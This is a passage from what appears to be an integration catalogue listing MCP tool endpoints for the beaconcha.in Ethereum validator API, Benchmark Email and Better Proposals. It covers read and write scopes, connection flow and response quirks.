bands apply to pre-Glamsterdam slots. [Glamsterdam](https://ethereum.org/roadmap/glamsterdam/) introduces ePBS and restructures slot production, so post-fork classifications may change. **Data provenance:** Timing statistics are derived from offchain relay APIs and streams. Relay-reported timestamps, identities, and bid coverage are not independently verifiable from onchain data; coverage gaps or inconsistent reporting can affect results. Currently only the `180d` rolling window is available (see `range.evaluation_window`). Omit `range` to use it. **Note:** MEV relay and timing data is only available on mainnet at this time. **History:** Relay bid collection began on 2024-06-03 (UTC). The evaluation window only reflects data from that date onward. Data freshness: validator timing profiles are rebuilt nightly over a rolling 180-day window. beaconcha.in POST /api/v2/ethereum/validators/mev-timing-aggregate. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/mev-timing-aggregate. Scopes: api. beaconchain_post_api_v2_ethereum_validators_performance_aggregate (read) — Returns aggregated performance metrics for a known collection or group of validators. Known collections are referenced by index, public key, deposit address, or withdrawal address. **Use case guide:** [Validator performance](https://docs.beaconcha.in/use-cases/performance-introduction) explains how to monitor BeaconScore®, select evaluation windows, and compare validator sets. This endpoint includes the **BeaconScore®** metric, which measures how well validators perform their duties. Learn more about [how BeaconScore® is calculated](https://docs.beaconcha.in/beaconscore/introduction). **Custom time ranges:** Query arbitrary time ranges using Unix timestamps, epochs, or slots — exclusively for [Scale and Enterprise plans](https://beaconcha.in/pricing). Custom ranges are served at whole-UTC-day granularity (partial days are rounded outward), and the response `range` reports the actual covered range. beaconcha.in POST /api/v2/ethereum/validators/performance-aggregate. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/performance-aggregate. Scopes: api. beaconchain_post_api_v2_ethereum_validators_performance_list (read) — Returns a list of a validator's performance for a specific epoch for a set of validators. **Use case guide:** [Validator performance](https://docs.beaconcha.in/use-cases/performance-introduction) explains when to use per-epoch performance and how it complements the aggregate endpoint. This endpoint includes the **BeaconScore®** metric, which measures how well validators perform their duties. Learn more about [how BeaconScore® is calculated](https://docs.beaconcha.in/beaconscore/introduction). beaconcha.in POST /api/v2/ethereum/validators/performance-list. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/performance-list. Scopes: api. beaconchain_post_api_v2_ethereum_validators_proposal_slots (read) — Returns a list of block proposal slots during which one or more of your selected validators were assigned a proposal duty. Use this endpoint to quickly identify all relevant proposals for your validator set, making it easier to explore proposal performance and related activity. You can combine this endpoint with: - Reward: [v2/ethereum/block/rewards](https://docs.beaconcha.in/api-reference/ethereum/block/rewards) - Consensus slot information: [v2/ethereum/slot](https://docs.beaconcha.in/api-reference/ethereum/slot/overview) - Execution block information: [v2/ethereum/block](https://docs.beaconcha.in/api-reference/ethereum/block/overview) or use it alongside reward and performance endpoints for deeper analysis, depending on your needs. Results can be filtered by a time range. Note: This endpoint supports **only finalized** data at this time. beaconcha.in POST /api/v2/ethereum/validators/proposal-slots. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/proposal-slots. Scopes: api. beaconchain_post_api_v2_ethereum_validators_queues (read) — Provides a rough overview of staking-related queue positions (deposit, exit, full withdrawal, consolidation, compounding switch) and estimated wait times for the selected set of validators. **Use case guide:** [Queue tracking](https://docs.beaconcha.in/use-cases/queue-tracking) explains when to use per-validator ETAs and how they complement the network queue view. Uses the same unified schema as the network-level queue endpoint The `estimated_processed_at` field in each queue always refers to the very last item for that validator. For example, if a validator has multiple pending deposits, `estimated_processed_at` in `deposit_queue` refers to when the last deposit will be processed. `compounding_switch_queue` is the exception: it refers to the validator's **earliest** pending switch request, because the switch takes effect when the first one is processed and any later request is a no-op. For network-wide queue statistics across all validators, see [/api/v2/ethereum/queues](https://docs.beaconcha.in/api-reference/ethereum/queues). beaconcha.in POST /api/v2/ethereum/validators/queues. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/queues. Scopes: api. beaconchain_post_api_v2_ethereum_validators_queues_compounding_switches (read) — Returns a paginated list of compounding switch requests for the selected validators. A compounding switch changes a validator's withdrawal credential prefix from `0x01` to `0x02`, unlocking effective balances above 32 ETH (up to 2048 ETH). Unlike a consolidation, the validator stays active throughout — no exit, no balance transfer. This endpoint covers **self-consolidation requests only** (source pubkey equals target pubkey). For cross-validator consolidations where one validator's balance is merged into another, use [/api/v2/ethereum/validators/queues/consolidations](https://docs.beaconcha.in/api-reference/ethereum/validators/queues/consolidations). A `pending` entry becomes `completed` or `rejected` once the consensus layer picks the request up out of the execution-layer contract, which releases at most two requests per block. Unlike consolidations, switches have no intermediate queued phase — they are accepted or rejected immediately at consensus-layer inclusion. Pending entries appear first. Completed and rejected entries follow, ordered by submission time (most recent first). Use `status_filter` to narrow the response to a single status, e.g. only `rejected` entries. Use this endpoint alongside the queue overview at [/api/v2/ethereum/validators/queues](https://docs.beaconcha.in/api-reference/ethereum/validators/queues) for a complete picture. **Temporary restriction:** the validator selector must resolve to no more than 50,000 validators. A larger selection returns `400`. Narrow the selection — for example, select a sub-entity instead of a whole entity — or page through it with a set of validator indices. This limit will be raised. beaconcha.in POST /api/v2/ethereum/validators/queues/compounding-switches. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/queues/compounding-switches. Scopes: api. beaconchain_post_api_v2_ethereum_validators_queues_consolidations (read) — Returns a flat, paginated list of consolidation requests involving the selected validators, whether as source (balance being merged away) or as target (balance being received). The response is not limited to requests that are still in flight: it covers the complete history of consolidations for the selected validators, back to the Pectra fork (7 May 2025). Pass `status_filter: completed` to retrieve only consolidations that have already settled. Each entry pairs a source validator with a target validator. A single validator may appear in multiple entries across both roles. Use `role_filter` to keep only the entries where a selected validator is the source, or only those where it is the target — for example, to list every validator that was ever merged into a given target validator. Which fields an entry carries depends on its `status`: | `status` | Fields set | |---|---| | `pending` | `execution_layer` — the submitting transaction | | `queued` | `source_exit_at`, `estimated_processed_at` | | `completed` | `amount`, `processed_slot` | | `rejected` | `reject_reason` | A `pending` entry becomes `queued` once the consensus layer picks the request up out of the execution-layer contract, which releases at most two consolidation requests per block. Pending and queued entries appear first, ordered by queue position (soonest processed first). Completed and rejected entries follow, ordered by submission time (most recent first). Use `status_filter` to narrow the response to a single status, e.g. only `rejected` entries. A rejected entry whose `reject_reason` is `source_equals_target` is not a failed consolidation — it is a failed switch to compounding credentials, which the consensus layer reports through the consolidation path because both requests share one contract and one structure. A common cause is asking a validator that already has `0x02` credentials to switch again. Use [/api/v2/ethereum/validators/queues/compounding-switches](https://docs.beaconcha.in/api-reference/ethereum/validators/queues/compounding-switches) to retrieve those entries as switches. Use this endpoint in combination with the queue overview at [/api/v2/ethereum/validators/queues](https://docs.beaconcha.in/api-reference/ethereum/validators/queues) for a complete picture. **Temporary restriction:** the validator selector must resolve to no more than 50,000 validators. A larger selection returns `400`. Narrow the selection — for example, select a sub-entity instead of a whole entity — or page through it with a set of validator indices. This limit will be raised. beaconcha.in POST /api/v2/ethereum/validators/queues/consolidations. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/queues/consolidations. Scopes: api. beaconchain_post_api_v2_ethereum_validators_queues_deposits (read) — Returns a flat, paginated list of individual pending deposits for the selected validators. Each entry represents a single deposit or top-up with its amount, estimated processing time, and current stage. A validator may appear multiple times if it has multiple pending deposits or top-ups. Results are ordered by soonest deposit first (ascending). Use this endpoint in combination with the queue overview at [/api/v2/ethereum/validators/queues](https://docs.beaconcha.in/api-reference/ethereum/validators/queues) for a complete picture. The overview endpoint provides a rough summary with `estimated_processed_at` referring to the last deposit for each validator; this endpoint provides the full breakdown. beaconcha.in POST /api/v2/ethereum/validators/queues/deposits. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/queues/deposits. Scopes: api. beaconchain_post_api_v2_ethereum_validators_queues_withdrawals (read) — Returns a flat, paginated list of individual pending exits and partial withdrawals for the selected validators. Each entry is either a full exit or a partial withdrawal, but not both. For full exits, the `exit` object contains exit timing and last duty details. For partial withdrawals, the `amount` field contains the withdrawal amount. Both types include estimated eligibility and completion times. A validator may appear multiple times for multiple partial withdrawals, but at most once for a full exit. Results are ordered by soonest exit/withdrawal first (ascending). Use this endpoint in combination with the queue overview at [/api/v2/ethereum/validators/queues](https://docs.beaconcha.in/api-reference/ethereum/validators/queues) for a complete picture. The overview endpoint provides a rough summary with `estimated_processed_at` referring to the last exit for each validator; this endpoint provides the full breakdown. beaconcha.in POST /api/v2/ethereum/validators/queues/withdrawals. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/queues/withdrawals. Scopes: api. beaconchain_post_api_v2_ethereum_validators_rewards_aggregate (read) — Returns the cumulative rewards for a set for a known collection or group of validators. Known collections are referenced by index, public key, deposit address, or withdrawal address. **Use case guide:** [Validator rewards](https://docs.beaconcha.in/use-cases/rewards-introduction) explains when to use aggregate rewards and how to turn the response into reports and comparisons. Use [Rewards](https://docs.beaconcha.in/api-reference/ethereum/validators/rewards-list) for a rewards breakdown of each validator. Note: Only finalized epochs are supported for rewards data. **Attribution Required:** If you display BeaconScore® data publicly, you must include appropriate attribution. See our [BeaconScore® License](https://docs.beaconcha.in/legal/beaconscore-license) and [License Materials](https://docs.beaconcha.in/legal/license-materials) for badges and usage guidelines. **Custom time ranges:** Query arbitrary time ranges using Unix timestamps, epochs, or slots — exclusively for [Scale and Enterprise plans](https://beaconcha.in/pricing). Custom ranges are served at whole-UTC-day granularity (partial days are rounded outward), and the response `range` reports the actual covered range. beaconcha.in POST /api/v2/ethereum/validators/rewards-aggregate. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/rewards-aggregate. Scopes: api. beaconchain_post_api_v2_ethereum_validators_rewards_list (read) — Returns a breakdown of rewards for each validator for a given epoch. **Use case guide:** [Validator rewards](https://docs.beaconcha.in/use-cases/rewards-introduction) explains when to use per-epoch rewards and links to custom-range, tax, and missed-reward workflows. Use [Rewards Aggregated](https://docs.beaconcha.in/api-reference/ethereum/validators/rewards-aggregate) for a cumulative view of all validator rewards combined. Note: Only finalized epochs are supported for rewards data. **Attribution Required:** If you display BeaconScore® data publicly, you must include appropriate attribution. See our [BeaconScore® License](https://docs.beaconcha.in/legal/beaconscore-license) and [License Materials](https://docs.beaconcha.in/legal/license-materials) for badges and usage guidelines. beaconcha.in POST /api/v2/ethereum/validators/rewards-list. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/rewards-list. Scopes: api. beaconchain_post_api_v2_ethereum_validators_self_report (write) — Claims up to 1000 validator public keys for the entity assigned to the authenticated user on the requested chain. The caller must have an active self-report assignment for the requested chain, and every validator public key in the request must exist on that chain. To get a self-report assignment, contact beaconcha.in support with the API user that will submit claims and the entity/sub-entity name to assign. This endpoint returns forbidden until the assignment is active. Each validator can optionally specify a `sub_entity`. The server trims surrounding whitespace from `sub_entity`; if it is omitted or empty after trimming, the server uses the caller's assignment-level default sub-entity. Duplicate validator public keys with the same resolved `sub_entity` are deduplicated before persistence. Duplicate validator public keys with conflicting resolved `sub_entity` values return a bad request error. Re-submitting validators that are already claimed by the same entity with the same resolved sub-entity reaffirms the existing claim and leaves its entity and sub-entity unchanged. Re-submitting validators that are already claimed by the same entity with a different resolved sub-entity updates the stored sub-entity. If any validator in the batch is already claimed by a different entity, the request returns a conflict error and no claims from the request are applied. **Note:** Accepted unique claims are persisted immediately, but visibility in downstream validator entity metadata and aggregate views remains eventually consistent with the next validator tagger/precompute cycle. beaconcha.in POST /api/v2/ethereum/validators/self-report. WRITES: persists validator claims for the account's assigned entity immediately. POST /api/v1/beaconchain/api/v2/ethereum/validators/self-report. Scopes: api. beaconchain_post_api_v2_ethereum_validators_sync_committee_periods (read) — Returns a deduplicated list of sync committee periods during which one or more of your selected validators were assigned sync committee duties. Use this endpoint to quickly identify all relevant periods for your validator set, making it easier to explore sync committee participation and related activity. You can combine this endpoint with: - Resolve to slots/epochs: [v2/ethereum/sync-committee](https://docs.beaconcha.in/api-reference/ethereum/sync-committee/overview) - Sync Duties at slot: [v2/ethereum/slot/sync-committee-duties](https://docs.beaconcha.in/api-reference/ethereum/slot/sync-committee-duties) or use it alongside reward and performance endpoints for deeper analysis, depending on your needs. Results can be filtered by a time range. Note: The `range` in the response spans only the first to the last sync committee period your validators were assigned to — not the full chain history. A validator assigned during periods 370–1218, for example, returns a range covering just those periods. Note: This endpoint supports **only finalized** data at this time. beaconcha.in POST /api/v2/ethereum/validators/sync-committee-periods. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/sync-committee-periods. Scopes: api. beaconchain_post_api_v2_ethereum_validators_upcoming_duty_slots (read) — Returns all upcoming duty slots for a pre-computed set of validators for the current and next epoch. This includes attestation, proposal, and sync committee duties. The protocol allows you to preview upcoming validator duties up to one epoch in advance. At the end of the current epoch, duties for the next epoch become visible; at the start of the current epoch, both the current and next epoch's duties are available. Depending on when you query, you may see between 32 and 64 upcoming slots. You might want to make multiple queries over time depending on your usecase. You can combine this endpoint with: - Consensus slot information: [v2/ethereum/slot](https://docs.beaconcha.in/api-reference/ethereum/slot/overview) - Consensus sync-committee duties at slot: [v2/ethereum/slot/sync-committee-duties](https://docs.beaconcha.in/api-reference/ethereum/slot/sync-committee-duties) - Consensus attestation duties at slot: [v2/ethereum/slot/attestation-duties](https://docs.beaconcha.in/api-reference/ethereum/slot/attestation-duties) beaconcha.in POST /api/v2/ethereum/validators/upcoming-duty-slots. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/upcoming-duty-slots. Scopes: api. beaconchain_post_api_v2_ethereum_validators_withdrawal_slots (read) — Returns a list of withdrawal events for your selected validators. Use this endpoint to quickly identify all relevant withdrawals for your validator set. You can combine this endpoint with: - Withdrawal detail from slot: [v2/ethereum/slot/withdrawals](https://docs.beaconcha.in/api-reference/ethereum/slot/withdrawals) - Consensus slot information: [v2/ethereum/slot](https://docs.beaconcha.in/api-reference/ethereum/slot/overview) Note: [v2/ethereum/slot/withdrawals](https://docs.beaconcha.in/api-reference/ethereum/slot/withdrawals) returns withdrawals by the slot they were **processed** in. Rows whose `observed_stages` do not include `consensus_layer_processed` describe a withdrawal request that was still queued at that slot and cannot be looked up there. To get only rows with detail available, set `stage_filter: ["consensus_layer_processed"]`. Results can be filtered by a time range. beaconcha.in POST /api/v2/ethereum/validators/withdrawal-slots. Read-only: POST is how the V2 API takes a query body; nothing is changed. POST /api/v1/beaconchain/api/v2/ethereum/validators/withdrawal-slots. Scopes: api. beaconchain_post_api_v2_machine_metrics (read) — Retrieve machine monitoring metrics for the authenticated user. Returns system, validator client, and beacon node metrics that were previously pushed via the `--monitoring-endpoint` flag and set up via https://beaconcha.in/user/settings#app. Users can only access metrics belonging to their own API key. Optionally filter by one or more machine names. Provide a time range via unix timestamps to query a specific historical window (maximum 31 days, limited by data retention). Each array is ordered newest first, then paginated toward older data. Pagination uses an opaque continuation token that tracks the last emitted `(timestamp, machine)` tuple separately for `system_metrics`, `validator_metrics`, and `node_metrics`. Clients must treat `paging.next_cursor` as opaque. beaconcha.in POST /api/v2/machine-metrics. Read-only: POST is how the V2 API takes a query body; nothing is changed. Machine metrics belong to the account rather than a network; `chain` is still required here and does not select the data. POST /api/v1/beaconchain/api/v2/machine-metrics. Scopes: api. beaconchain_post_api_v2_machine_metrics_machine_names (read) — List all known machine names for the authenticated user. These are the names that were provided when pushing metrics via the `--monitoring-endpoint` flag. beaconcha.in POST /api/v2/machine-metrics/machine-names. Read-only: POST is how the V2 API takes a query body; nothing is changed. Machine metrics belong to the account rather than a network; `chain` is still required here and does not select the data. POST /api/v1/beaconchain/api/v2/machine-metrics/machine-names. Scopes: api. ================================================================================ ## Benchmark Email URL: https://www.agenticfabriq.com/integrations/benchmarkemail Section: Integrated Tools Benchmark Email — 40 MCP tools Provider key: benchmarkemail. Scopes: none. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. benchmarkemail_delete_api_contact_by_contactid (write, destructive) — Delete a contact by id via DELETE /api/contact/{contactId} Answers 200 with the deleted contact object. DELETE /api/v1/benchmarkemail/api/contact/{contactId}. Scopes: none. benchmarkemail_delete_api_contact_structure_by_contactstructureid_lists (write, destructive) — Delete multiple lists via DELETE /api/contact-structure/{contactStructureId}/lists Deletes SEVERAL lists named in the request body, and answers 204. The single-list delete is a different route. DELETE /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists. Scopes: none. benchmarkemail_delete_api_contact_structure_by_contactstructureid_lists_by_listid (write, destructive) — Delete a list by id via DELETE /api/contact-structure/{contactStructureId}/lists/{listId} DELETE /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists/{listId}. Scopes: none. benchmarkemail_delete_api_email_campaign_by_campaignid (write, destructive) — Delete campaign by id via DELETE /api/email/campaign/{campaignId} Answers 204 with no body. DELETE /api/v1/benchmarkemail/api/email/campaign/{campaignId}. Scopes: none. benchmarkemail_get_api_contact (read) — Get all contacts via GET /api/contact Returns every contact in one response -- this endpoint does not paginate. Use Search for contacts on a large database. GET /api/v1/benchmarkemail/api/contact. Scopes: none. benchmarkemail_get_api_contact_by_contactid (read) — Get a contact by id via GET /api/contact/{contactId} GET /api/v1/benchmarkemail/api/contact/{contactId}. Scopes: none. benchmarkemail_get_api_contact_by_contactid_events (read) — Get contact events via GET /api/contact/{contactId}/events GET /api/v1/benchmarkemail/api/contact/{contactId}/events. Scopes: none. benchmarkemail_get_api_contact_events (read) — Get account contact events via GET /api/contact/events pastDays defaults to 30 and is capped at 90, so this reads a rolling window rather than the full history. GET /api/v1/benchmarkemail/api/contact/events. Scopes: none. benchmarkemail_get_api_contact_structure (read) — Get all contact structures via GET /api/contact-structure GET /api/v1/benchmarkemail/api/contact-structure. Scopes: none. benchmarkemail_get_api_contact_structure_by_contactstructureid (read) — Get a contact structure by id via GET /api/contact-structure/{contactStructureId} GET /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}. Scopes: none. benchmarkemail_get_api_contact_structure_by_contactstructureid_lists (read) — Get paginated lists via GET /api/contact-structure/{contactStructureId}/lists Page through with page and size; sort takes 'field:direction' over name, createdAt or updatedAt. GET /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists. Scopes: none. benchmarkemail_get_api_contact_structure_by_contactstructureid_lists_all (read) — Get all lists via GET /api/contact-structure/{contactStructureId}/lists/all The unpaginated companion to Get paginated lists: every list in the structure, id and name only. GET /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists/all. Scopes: none. benchmarkemail_get_api_contact_structure_by_contactstructureid_lists_by_listid (read) — Get a list by id via GET /api/contact-structure/{contactStructureId}/lists/{listId} GET /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists/{listId}. Scopes: none. benchmarkemail_get_api_email_campaign (read) — Get all campaigns via GET /api/email/campaign GET /api/v1/benchmarkemail/api/email/campaign. Scopes: none. benchmarkemail_get_api_email_campaign_by_campaignid (read) — Get campaign by id via GET /api/email/campaign/{campaignId} GET /api/v1/benchmarkemail/api/email/campaign/{campaignId}. Scopes: none. benchmarkemail_get_api_email_domain (read) — Get all domains via GET /api/email/domain GET /api/v1/benchmarkemail/api/email/domain. Scopes: none. benchmarkemail_get_api_email_domain_by_domainid (read) — Get a domain by id via GET /api/email/domain/{domainId} GET /api/v1/benchmarkemail/api/email/domain/{domainId}. Scopes: none. benchmarkemail_get_api_email_domain_grey_label (read) — Get the grey label domain for the account via GET /api/email/domain/grey-label The account's shared sending domain, used when no authenticated domain of the customer's own is verified. GET /api/v1/benchmarkemail/api/email/domain/grey-label. Scopes: none. benchmarkemail_get_api_email_template (read) — Get email templates via GET /api/email/template lang is REQUIRED -- the template library is per-language and the call 400s without it. GET /api/v1/benchmarkemail/api/email/template. Scopes: none. benchmarkemail_get_api_email_template_by_id (read) — Get email template by ID via GET /api/email/template/{id} lang is REQUIRED. GET /api/v1/benchmarkemail/api/email/template/{id}. Scopes: none. benchmarkemail_get_api_email_template_categories (read) — Get email template categories via GET /api/email/template/categories lang is REQUIRED. GET /api/v1/benchmarkemail/api/email/template/categories. Scopes: none. benchmarkemail_get_api_reports_dashboard (read) — Get dashboard snapshot reports via GET /api/reports/dashboard pastDays is REQUIRED (1-90). GET /api/v1/benchmarkemail/api/reports/dashboard. Scopes: none. benchmarkemail_get_api_reports_email_by_id (read) — Get individual email campaign reports via GET /api/reports/email/{id} GET /api/v1/benchmarkemail/api/reports/email/{id}. Scopes: none. benchmarkemail_get_api_reports_email_by_id_engagement (read) — Get individual email campaign engagement reports via GET /api/reports/email/{id}/engagement GET /api/v1/benchmarkemail/api/reports/email/{id}/engagement. Scopes: none. benchmarkemail_get_api_reports_email_overall (read) — Get overall email reports via GET /api/reports/email/overall pastDays is REQUIRED (1-90). GET /api/v1/benchmarkemail/api/reports/email/overall. Scopes: none. benchmarkemail_get_api_reports_email_overall_histogram (read) — Get overall email histogram by event type via GET /api/reports/email/overall/histogram pastDays and eventType are both REQUIRED. GET /api/v1/benchmarkemail/api/reports/email/overall/histogram. Scopes: none. benchmarkemail_patch_api_contact_by_contactid (write) — Partial update a contact by id via PATCH /api/contact/{contactId} Accepts the status field only -- every other change goes through Update a contact by id. Status values are case-sensitive, and moving a contact to Inactive requires both primary and secondary. Once Inactive a contact cannot be reactivated through the API. PATCH /api/v1/benchmarkemail/api/contact/{contactId}. Scopes: none. benchmarkemail_patch_api_contact_structure_by_contactstructureid_lists_by_listid (write) — Update a list by id via PATCH /api/contact-structure/{contactStructureId}/lists/{listId} PATCH /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists/{listId}. Scopes: none. benchmarkemail_patch_api_email_campaign_by_campaignid (write) — Update campaign by id via PATCH /api/email/campaign/{campaignId} PATCH /api/v1/benchmarkemail/api/email/campaign/{campaignId}. Scopes: none. benchmarkemail_post_api_contact (write) — Create a new contact via POST /api/contact key is the contact's email address and contactStructureId decides which custom fields exist; fields entries reference a field's _id from the contact structure. A duplicate email in the same structure is a 400 DuplicateFieldError, not a second contact. POST /api/v1/benchmarkemail/api/contact. Scopes: none. benchmarkemail_post_api_contact_export (write) — Export contacts via POST /api/contact/export Answers text/csv rather than JSON; the connector returns the CSV under a raw key when the body does not parse as JSON. POST /api/v1/benchmarkemail/api/contact/export. Scopes: none. benchmarkemail_post_api_contact_search (write) — Search for contacts via POST /api/contact/search A read expressed as a POST because the filter travels in the body. It needs contacts:read, not contacts:write. POST /api/v1/benchmarkemail/api/contact/search. Scopes: none. benchmarkemail_post_api_contact_structure (write) — Create a new contact structure via POST /api/contact-structure POST /api/v1/benchmarkemail/api/contact-structure. Scopes: none. benchmarkemail_post_api_contact_structure_by_contactstructureid_lists (write) — Create a new list via POST /api/contact-structure/{contactStructureId}/lists POST /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists. Scopes: none. benchmarkemail_post_api_contact_structure_by_contactstructureid_lists_by_listid_duplicate (write) — Duplicate a list via POST /api/contact-structure/{contactStructureId}/lists/{listId}/duplicate POST /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists/{listId}/duplicate. Scopes: none. benchmarkemail_post_api_contact_structure_by_contactstructureid_lists_merge (write) — Merge lists into a new list via POST /api/contact-structure/{contactStructureId}/lists/merge Creates a NEW list from the named sources; the sources themselves are not consumed. POST /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}/lists/merge. Scopes: none. benchmarkemail_post_api_email_campaign (write) — Add a campaign via POST /api/email/campaign POST /api/v1/benchmarkemail/api/email/campaign. Scopes: none. benchmarkemail_post_api_email_campaign_by_campaignid_duplicate (write) — Duplicate an existing campaign via POST /api/email/campaign/{campaignId}/duplicate The copy is created as a draft; duplicating never sends. POST /api/v1/benchmarkemail/api/email/campaign/{campaignId}/duplicate. Scopes: none. benchmarkemail_put_api_contact_by_contactid (write) — Update a contact by id via PUT /api/contact/{contactId} A REPLACE: any field omitted from the body is removed from the stored contact. __v is required and must come from a fresh Get a contact by id; a stale value is refused with 400 ConcurrencyError. Cannot move an Inactive contact back to Active. PUT /api/v1/benchmarkemail/api/contact/{contactId}. Scopes: none. benchmarkemail_put_api_contact_structure_by_contactstructureid (write) — Update a contact structure by id via PUT /api/contact-structure/{contactStructureId} Removing a field that a sign-up form still references is refused with 400 ContactFieldInUseError, whose debug.affectedForms names each form. PUT /api/v1/benchmarkemail/api/contact-structure/{contactStructureId}. Scopes: none. ================================================================================ ## Better Proposals URL: https://www.agenticfabriq.com/integrations/betterproposals Section: Integrated Tools Better Proposals — 25 MCP tools Provider key: betterproposals. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. betterproposals_get_company (read) — List the account's companies via GET /company, with `page` and `per_page`. A company is the client a proposal is addressed to; each row carries its id, name, CRM id, demo flag and its created, edited and deleted stamps. GET /api/v1/betterproposals/company. Scopes: api. betterproposals_get_company_company_id (read) — Fetch one company by id via GET /company/{COMPANY_ID}. AN ID THAT MATCHES NOTHING IS A 200, NOT A 404: measured 2026-09-19 on 0 and on 999999999, both answer HTTP 200 {"status":"success","data":[]} -- `data` is an empty ARRAY where a hit gives an OBJECT. Check the shape of `data`, not the status. Quotes and templates behave the same way; proposals 404 instead and currencies answer 200 with no `data` key at all. GET /api/v1/betterproposals/company/{COMPANY_ID}. Scopes: api. betterproposals_get_currency (read) — List the currencies Better Proposals supports via GET /currency, with `page` and `per_page`. Each row carries the 3-letter code that `Currency` on `betterproposals_post_proposal_create` takes, its symbol and name, whether it is zero-decimal, and whether Stripe and PayPal accept it. This is a platform catalogue rather than account data -- it reads the same for every account. GET /api/v1/betterproposals/currency. Scopes: api. betterproposals_get_currency_currency_id (read) — Fetch one currency by id via GET /currency/{CURRENCY_ID}. The id is the catalogue's own numeric id from `betterproposals_get_currency`, not the 3-letter code. A THIRD absence shape, measured 2026-09-19: an id that matches nothing answers HTTP 200 {"status":"success","message":"Not found"} -- status "success", no `data` key at all. A caller that reads `data` unconditionally raises a KeyError on a miss here. GET /api/v1/betterproposals/currency/{CURRENCY_ID}. Scopes: api. betterproposals_get_doctype (read) — List the account's document types via GET /doctype, with `page` and `per_page`. A document type is the category a document belongs to -- Proposals, Quotes, Contracts and any type the account adds -- and each row carries its id, name, singular name, colour, icon and how many outstanding documents and templates use it. These ids are what the `type` filter on the proposal lists takes. GET /api/v1/betterproposals/doctype. Scopes: api. betterproposals_get_proposal (read) — List the account's proposals via GET /proposal. Returns every document the account holds, newest first, each with its company, contacts, amount, currency, status flags and its view and preview URLs. `type` narrows the list to ONE document type by its numeric id -- the ids come from `betterproposals_get_doctype` (measured 2026-09-19: 1 is Proposals and 2 is Quotes on a fresh account) -- and `page` with `per_page` walk it. This is also the endpoint the connect-time probe calls. GET /api/v1/betterproposals/proposal. Scopes: api. betterproposals_get_proposal_count (read) — Count the account's proposals via GET /proposal/count. Answers {"status":"success","count":} and takes no parameters at all -- it is the whole-account total, not a filtered one. Cheaper than paging `betterproposals_get_proposal` when only the number is wanted. GET /api/v1/betterproposals/proposal/count. Scopes: api. betterproposals_get_proposal_new (read) — List proposals still in the NEW state via GET /proposal/new -- created and not yet sent. Same record shape and same `page`, `per_page` and `type` narrowing as `betterproposals_get_proposal`; this is the state filter rather than a different resource. GET /api/v1/betterproposals/proposal/new. Scopes: api. betterproposals_get_proposal_opened (read) — List proposals the recipient has OPENED via GET /proposal/opened. Same record shape and same `page`, `per_page` and `type` narrowing as `betterproposals_get_proposal`; this is the state filter rather than a different resource. GET /api/v1/betterproposals/proposal/opened. Scopes: api. betterproposals_get_proposal_paid (read) — List proposals that have been PAID via GET /proposal/paid. Same record shape and same `page`, `per_page` and `type` narrowing as `betterproposals_get_proposal`; this is the state filter rather than a different resource. GET /api/v1/betterproposals/proposal/paid. Scopes: api. betterproposals_get_proposal_proposal_id (read) — Fetch one proposal by id via GET /proposal/{PROPOSAL_ID}. Returns the fuller record the list form does not carry -- brand, cover, template, document type, quote id, customer journey, tax, the signature and payment timestamps and the preview link. THE ONLY BY-ID ROUTE ON THIS API THAT 404s: measured 2026-09-19, an id that matches nothing answers HTTP 404 {"status":"error","message":"Document not found"} -- a JSON envelope, unlike the HTML 404 a wrong PATH produces. Its three siblings do the opposite and answer 200 (see `betterproposals_get_company_company_id`), so absence is spelled differently on every one of them. GET /api/v1/betterproposals/proposal/{PROPOSAL_ID}. Scopes: api. betterproposals_get_proposal_sent (read) — List proposals that have been SENT via GET /proposal/sent. Same record shape and same `page`, `per_page` and `type` narrowing as `betterproposals_get_proposal`; this is the state filter rather than a different resource. GET /api/v1/betterproposals/proposal/sent. Scopes: api. betterproposals_get_proposal_signed (read) — List proposals 